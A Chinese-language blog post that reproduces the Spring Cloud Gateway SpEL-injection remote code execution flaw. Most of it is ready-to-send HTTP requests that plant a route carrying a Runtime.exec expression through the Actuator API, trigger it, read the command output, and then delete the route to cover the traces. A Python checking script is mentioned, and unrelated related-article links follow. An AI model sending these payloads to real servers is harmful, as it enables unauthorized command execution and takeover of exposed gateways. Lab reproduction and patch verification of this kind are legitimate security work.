spring_cloud_RCE

简介: spring_cloud_RCE

简介

Spring Cloud Gateway是Spring中的一个API网关。其3.1.0及3.0.6版本(包含)以前存在一处SpEL表达式注入漏洞,当攻击者可以访问Actuator API的情况下,将可以利用该漏洞执行任意命令。

环境

640.png

image-20220304104422547

640.png

image-20220304104654131

漏洞

首先,发送如下数据包即可添加一个包含恶意SpEL表达式的路由:

POST /actuator/gateway/routes/lemonlove7 HTTP/1.1
Host: 192.168.80.138:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 328
{
  "id": "lemonlove7",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"}
  }],
"uri": "http://example.com",
"order": 0
}

640.png

image-20220303193629575

然后,发送如下数据包应用刚添加的路由。这个数据包将触发SpEL表达式的执行:

POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.80.138:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

发送如下数据包即可查看执行结果:

GET /actuator/gateway/routes/lemonlove7 HTTP/1.1
Host: 192.168.80.138:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

最后,发送如下数据包清理现场,删除所添加的路由:

DELETE /actuator/gateway/routes/lemonlove7 HTTP/1.1
Host: 192.168.80.138:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close

使用python脚本进行检测

640.png

脚本及环境搭建

https://t.zsxq.com/e6ujeae

相关文章
|
XML 安全 Java
Spring Boot 中的 Spring Security 是什么,如何使用
Spring Boot 中的 Spring Security 是什么,如何使用
|
6月前
|
存储 安全 Java
Spring Security 的TokenStore三种实现方式
Spring Security 的TokenStore三种实现方式
|
安全 Java 数据库
Spring Security的简单介绍与案例
# 引言 Spring Security是一个功能强大的安全框架,旨在为Java应用程序提供身份验证和授权功能。它可以很容易地整合到Spring应用程序中,并支持多种身份验证方法,包括基于表单的身份验证、基于HTTP的身份验证以及基于OAuth 2.0的身份验证。 # 依赖 ``` <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-security</artifactId> </dependency> ``` # 第一个例子 要在Spring应用
|
移动开发 安全 Java
Spring Security 配置多WebSecurityConfigurerAdapter
Spring Security 配置多WebSecurityConfigurerAdapter
2298 0
|
监控 安全 Java
16 spring boot漏洞利用
Spring框架为开发Java应用程序提供了全面的基础架构支持。它包含一些很好的功能,如依赖注入和开箱即用的模块,如:Spring JDBC、Spring MVC、Spring Security.Spring AOP、Spring ORM、Spring Test,这些模块缩短应用程序的开发时间,提高了应用开发的效率例如,在Java Web开发的早期阶段,我们需要编写大量的代码来将记录插入到数据库中。但是通过使用Spring JDBC模块的JDBCTemplate,我们可以将操作简化为几行代码。|
16 spring boot漏洞利用
|
安全 Java 数据安全/隐私保护
在spring boot中整合security
这几天通过视频整合了security,遇到了几个细节,和大家分享一下
148 0
在spring boot中整合security
|
安全 Java 数据库
Spring Security-项目和UserDetailsService详解
Spring Security-项目和UserDetailsService详解
Spring Security-项目和UserDetailsService详解
|
监控 Java Spring
Spring Cloud - Spring Boot Admin 客户端
Spring Cloud - Spring Boot Admin 客户端
Spring Cloud - Spring Boot Admin 客户端
|
安全 Java Apache
Spring Boot中使用Spring Security进行安全控制
Spring Boot中使用Spring Security进行安全控制
381 0
|
安全 Java Spring
spring security原理
首先security有一个总配置类,它需要继承WebSecurityConfigurerAdapter,并加上@Configuration和@EnableWebSecurity注解,重写它的两个方法
spring security原理
下一篇
无影云桌面